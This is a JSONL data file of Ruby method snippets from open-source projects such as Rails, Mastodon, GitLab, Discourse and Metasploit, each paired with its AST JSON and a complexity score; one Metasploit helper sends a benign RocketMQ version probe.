{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/connection_adapters/connection_handlers_multi_db_test.rb","start_line":376,"raw_source":"def test_an_application_can_change_the_default_handlers\n        old_writing = ActiveRecord.writing_role\n        old_reading = ActiveRecord.reading_role\n        ActiveRecord.writing_role = :default\n        ActiveRecord.reading_role = :readonly\n\n        assert_equal :default, ActiveRecord.writing_role\n        assert_equal :readonly, ActiveRecord.reading_role\n      ensure\n        ActiveRecord.writing_role = old_writing\n        ActiveRecord.reading_role = old_reading\n      end","complexity_score":13.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_an_application_can_change_the_default_handlers\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"old_writing\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"writing_role\"]}]},{\"type\":\"lvasgn\",\"children\":[\"old_reading\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"reading_role\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"writing_role=\",{\"type\":\"sym\",\"children\":[\"default\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"reading_role=\",{\"type\":\"sym\",\"children\":[\"readonly\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"writing_role\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"sym\",\"children\":[\"readonly\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"reading_role\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"writing_role=\",{\"type\":\"lvar\",\"children\":[\"old_writing\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"reading_role=\",{\"type\":\"lvar\",\"children\":[\"old_reading\"]}]}]}]}]}","id":"891994cb-cf38-4742-8049-893e221345bd"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/finder_test.rb","start_line":1408,"raw_source":"def test_find_on_hash_conditions_with_open_ended_range\n    assert_equal [1, 2, 3], Comment.where(id: Float::INFINITY..3).to_a.map(&:id).sort\n  end","complexity_score":10.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_find_on_hash_conditions_with_open_ended_range\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[2]},{\"type\":\"int\",\"children\":[3]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Comment\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"irange\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Float\"]},\"INFINITY\"]},{\"type\":\"int\",\"children\":[3]}]}]}]}]},\"to_a\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]}]}]},\"sort\"]}]}]}","id":"e5724393-92cf-4188-9c3c-6d75ecc4e4a3"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/api/v1/instances/domain_blocks_controller.rb","start_line":21,"raw_source":"def require_enabled_api!\n    head 404 unless api_enabled?\n  end","complexity_score":3.43,"ast_json":"{\"type\":\"def\",\"children\":[\"require_enabled_api!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"api_enabled?\"]},null,{\"type\":\"send\",\"children\":[null,\"head\",{\"type\":\"int\",\"children\":[404]}]}]}]}","id":"c28aa8b9-b921-45b5-a781-8edfcc671b70"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/gpg.rb","start_line":29,"raw_source":"def fingerprints_from_key(key)\n      using_tmp_keychain do\n        CurrentKeyChain.fingerprints_from_key(key)\n      end\n    end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"fingerprints_from_key\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"using_tmp_keychain\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CurrentKeyChain\"]},\"fingerprints_from_key\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]}]}","id":"8fef8860-b9e8-4ab8-8ce9-5db9892a9665"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/backlogs/app/models/impediment.rb","start_line":47,"raw_source":"def blocks_ids\n    @blocks_ids ||= blocks_relations.map(&:to_id)\n  end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"blocks_ids\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@blocks_ids\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"blocks_relations\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_id\"]}]}]}]}]}","id":"3c42bece-1c58-4a22-a696-bdb144fd51aa"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/reporting/lib/report/filter/base.rb","start_line":140,"raw_source":"def valid?\n      @operator ? @operator.validate(values) : true\n    end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"valid?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@operator\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@operator\"]},\"validate\",{\"type\":\"send\",\"children\":[null,\"values\"]}]},{\"type\":\"true\",\"children\":[]}]}]}","id":"7832e6a7-0bd2-4a6b-adb2-9fbad5c32f87"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/lib/activitypub/activity/move.rb","start_line":6,"raw_source":"def perform\n    return if origin_account.uri != object_uri\n    return unless mark_as_processing!\n\n    target_account = ActivityPub::FetchRemoteAccountService.new.call(target_uri)\n\n    if target_account.nil? || target_account.unavailable? || !target_account.also_known_as.include?(origin_account.uri)\n      unmark_as_processing!\n      return\n    end\n\n    # In case for some reason we didn't have a redirect for the profile already, set it\n    origin_account.update(moved_to_account: target_account)\n\n    # Initiate a re-follow for each follower\n    MoveWorker.perform_async(origin_account.id, target_account.id)\n  rescue\n    unmark_as_processing!\n    raise\n  end","complexity_score":42.2,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"origin_account\"]},\"uri\"]},\"!=\",{\"type\":\"send\",\"children\":[null,\"object_uri\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mark_as_processing!\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"target_account\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActivityPub\"]},\"FetchRemoteAccountService\"]},\"new\"]},\"call\",{\"type\":\"send\",\"children\":[null,\"target_uri\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target_account\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target_account\"]},\"unavailable?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target_account\"]},\"also_known_as\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"origin_account\"]},\"uri\"]}]},\"!\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"unmark_as_processing!\"]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"origin_account\"]},\"update\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"moved_to_account\"]},{\"type\":\"lvar\",\"children\":[\"target_account\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MoveWorker\"]},\"perform_async\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"origin_account\"]},\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target_account\"]},\"id\"]}]}]},{\"type\":\"resbody\",\"children\":[null,null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"unmark_as_processing!\"]},{\"type\":\"send\",\"children\":[null,\"raise\"]}]}]},null]}]}","id":"f157474f-d395-4f15-b9a1-cb7d502b619d"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/comment_config.rb","start_line":170,"raw_source":"def each_directive\n      return if @no_directives\n\n      processed_source.comments.each do |comment|\n        directive = DirectiveComment.new(comment)\n        yield directive if directive.cop_names\n      end\n    end","complexity_score":11.7,"ast_json":"{\"type\":\"def\",\"children\":[\"each_directive\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@no_directives\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"processed_source\"]},\"comments\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"comment\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"directive\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DirectiveComment\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"comment\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"directive\"]},\"cop_names\"]},{\"type\":\"yield\",\"children\":[{\"type\":\"lvar\",\"children\":[\"directive\"]}]},null]}]}]}]}]}","id":"2e7d7cfb-2262-45fb-bde0-74e6d62056a5"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/temporary_db.rb","start_line":53,"raw_source":"def pg_ctl_path\n    return @pg_ctl_path if @pg_ctl_path\n\n    @pg_ctl_path = `which pg_ctl 2> /dev/null`.strip\n    @pg_ctl_path = \"#{pg_bin_path}/pg_ctl\" if @pg_ctl_path.length == 0\n\n    @pg_ctl_path\n  end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"pg_ctl_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@pg_ctl_path\"]},{\"type\":\"return\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@pg_ctl_path\"]}]},null]},{\"type\":\"ivasgn\",\"children\":[\"@pg_ctl_path\",{\"type\":\"send\",\"children\":[{\"type\":\"xstr\",\"children\":[{\"type\":\"str\",\"children\":[\"which pg_ctl 2> /dev/null\"]}]},\"strip\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@pg_ctl_path\"]},\"length\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"ivasgn\",\"children\":[\"@pg_ctl_path\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pg_bin_path\"]}]},{\"type\":\"str\",\"children\":[\"/pg_ctl\"]}]}]},null]},{\"type\":\"ivar\",\"children\":[\"@pg_ctl_path\"]}]}]}","id":"a0ad17d8-f78e-4e9c-949e-8040312479e0"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/controllers/api/v1/accounts/webhooks_controller.rb","start_line":14,"raw_source":"def update\n    @webhook.update!(webhook_params)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"update\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@webhook\"]},\"update!\",{\"type\":\"send\",\"children\":[null,\"webhook_params\"]}]}]}","id":"e52c3d4f-e369-40a8-9566-6c50f2cf1b7c"}
{"repo_name":"puma","file_path":"./repos/puma/lib/puma/util.rb","start_line":16,"raw_source":"def purge_interrupt_queue\n      Thread.current.purge_interrupt_queue if Thread.current.respond_to? :purge_interrupt_queue\n    end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"purge_interrupt_queue\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Thread\"]},\"current\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"purge_interrupt_queue\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Thread\"]},\"current\"]},\"purge_interrupt_queue\"]},null]}]}","id":"3725361c-d082-4c1b-860e-60f2c4999503"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/auxiliary/rocketmq.rb","start_line":20,"raw_source":"def send_version_request \n      data = '{\"code\":105,\"extFields\":{\"Signature\":\"/u5P/wZUbhjanu4LM/UzEdo2u2I=\",\"topic\":\"TBW102\",\"AccessKey\":\"rocketmq2\"},\"flag\":0,\"language\":\"JAVA\",\"opaque\":1,\"serializeTypeCurrentRPC\":\"JSON\",\"version\":401}'\n      data_length = \"\\x00\\x00\\x00\" + [data.length].pack('C')\n      header = \"\\x00\\x00\\x00\" + [data.length + data_length.length].pack('C')\n\n      begin\n        connect\n        sock.send(header + data_length + data, 0)\n        res_length = sock.timed_read(4)&.unpack1('N')\n        return nil if res_length.nil?\n\n        res = sock.timed_read(res_length)\n      rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e\n        print_error(\"Unable to connect: #{e.class} #{e.message}\\n#{e.backtrace * \"\\n\"}\")\n        elog('Error sending the rocketmq version request', error: e)\n        return nil\n      ensure\n        disconnect\n      end\n\n      if res.nil?\n        vprint_error('No response received')\n        return nil\n      end\n\n      unless res.include?('{')\n        vprint_error('Response contains unusable data')\n        return nil\n      end\n\n      res\n    end","complexity_score":51.93,"ast_json":"{\"type\":\"def\",\"children\":[\"send_version_request\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"str\",\"children\":[\"{\\\"code\\\":105,\\\"extFields\\\":{\\\"Signature\\\":\\\"/u5P/wZUbhjanu4LM/UzEdo2u2I=\\\",\\\"topic\\\":\\\"TBW102\\\",\\\"AccessKey\\\":\\\"rocketmq2\\\"},\\\"flag\\\":0,\\\"language\\\":\\\"JAVA\\\",\\\"opaque\\\":1,\\\"serializeTypeCurrentRPC\\\":\\\"JSON\\\",\\\"version\\\":401}\"]}]},{\"type\":\"lvasgn\",\"children\":[\"data_length\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"\\u0000\\u0000\\u0000\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"length\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"C\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"header\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"\\u0000\\u0000\\u0000\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"length\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data_length\"]},\"length\"]}]}]},\"pack\",{\"type\":\"str\",\"children\":[\"C\"]}]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"ensure\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connect\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"send\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"header\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"data_length\"]}]},\"+\",{\"type\":\"lvar\",\"children\":[\"data\"]}]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"lvasgn\",\"children\":[\"res_length\",{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"timed_read\",{\"type\":\"int\",\"children\":[4]}]},\"unpack1\",{\"type\":\"str\",\"children\":[\"N\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res_length\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"timed_read\",{\"type\":\"lvar\",\"children\":[\"res_length\"]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"AddressInUse\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Errno\"]},\"ETIMEDOUT\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"HostUnreachable\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"ConnectionTimeout\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"ConnectionRefused\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Timeout\"]},\"Error\"]},{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"EOFError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unable to connect: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"class\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"backtrace\"]},\"*\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"elog\",{\"type\":\"str\",\"children\":[\"Error sending the rocketmq version request\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"disconnect\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"nil?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"str\",\"children\":[\"No response received\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"include?\",{\"type\":\"str\",\"children\":[\"{\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"str\",\"children\":[\"Response contains unusable data\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]}]},{\"type\":\"lvar\",\"children\":[\"res\"]}]}]}","id":"fcb71c97-10a2-4463-91dc-304d5a46a299"}
{"repo_name":"rspec-core","file_path":"./repos/rspec-core/lib/rspec/core.rb","start_line":97,"raw_source":"def self.configure\n    yield configuration if block_given?\n  end","complexity_score":4.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"configure\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"block_given?\"]},{\"type\":\"yield\",\"children\":[{\"type\":\"send\",\"children\":[null,\"configuration\"]}]},null]}]}","id":"633a8071-2d1e-4983-abc3-ef612de945eb"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/build/prerequisite/kubernetes_namespace.rb","start_line":14,"raw_source":"def complete!\n            return unless unmet?\n\n            create_namespace\n          end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"complete!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"unmet?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"create_namespace\"]}]}]}","id":"d814a2a4-35f5-45e4-ad97-7801441e3aec"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/user_lookup.rb","start_line":59,"raw_source":"def set_user_group_preload(user, group, group_association_name)\n    association = user.association(group_association_name)\n    association.target = group\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"set_user_group_preload\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"arg\",\"children\":[\"group\"]},{\"type\":\"arg\",\"children\":[\"group_association_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"association\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"association\",{\"type\":\"lvar\",\"children\":[\"group_association_name\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"association\"]},\"target=\",{\"type\":\"lvar\",\"children\":[\"group\"]}]}]}]}","id":"98816c2d-932d-45e8-91c9-0f635f9df063"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/lib/completions/endpoints/cohere.rb","start_line":67,"raw_source":"def decode_chunk(chunk)\n          @tool_idx ||= -1\n          @json_decoder ||= JsonStreamDecoder.new(line_regex: /^\\s*({.*})$/)\n          (@json_decoder << chunk)\n            .map do |parsed|\n              update_usage(parsed)\n              rval = []\n\n              rval << parsed[:text] if !parsed[:text].to_s.empty?\n\n              if tool_calls = parsed[:tool_calls]\n                tool_calls&.each do |tool_call|\n                  @tool_idx += 1\n                  tool_name = tool_call[:name]\n                  tool_params = tool_call[:parameters]\n                  tool_id = \"tool_#{@tool_idx}\"\n                  rval << ToolCall.new(id: tool_id, name: tool_name, parameters: tool_params)\n                end\n              end\n\n              rval\n            end\n            .flatten\n            .compact\n        end","complexity_score":51.63,"ast_json":"{\"type\":\"def\",\"children\":[\"decode_chunk\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"chunk\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@tool_idx\"]},{\"type\":\"int\",\"children\":[-1]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@json_decoder\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JsonStreamDecoder\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"line_regex\"]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^\\\\s*({.*})$\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@json_decoder\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"chunk\"]}]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"parsed\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_usage\",{\"type\":\"lvar\",\"children\":[\"parsed\"]}]},{\"type\":\"lvasgn\",\"children\":[\"rval\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parsed\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"text\"]}]},\"to_s\"]},\"empty?\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rval\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parsed\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"text\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"tool_calls\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parsed\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"tool_calls\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tool_calls\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tool_call\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"op_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@tool_idx\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"lvasgn\",\"children\":[\"tool_name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tool_call\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"tool_params\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tool_call\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"parameters\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"tool_id\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"tool_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@tool_idx\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rval\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ToolCall\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"tool_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"tool_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"parameters\"]},{\"type\":\"lvar\",\"children\":[\"tool_params\"]}]}]}]}]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"rval\"]}]}]},\"flatten\"]},\"compact\"]}]}]}","id":"fcd2238d-21df-4f11-8236-97fb66686bca"}
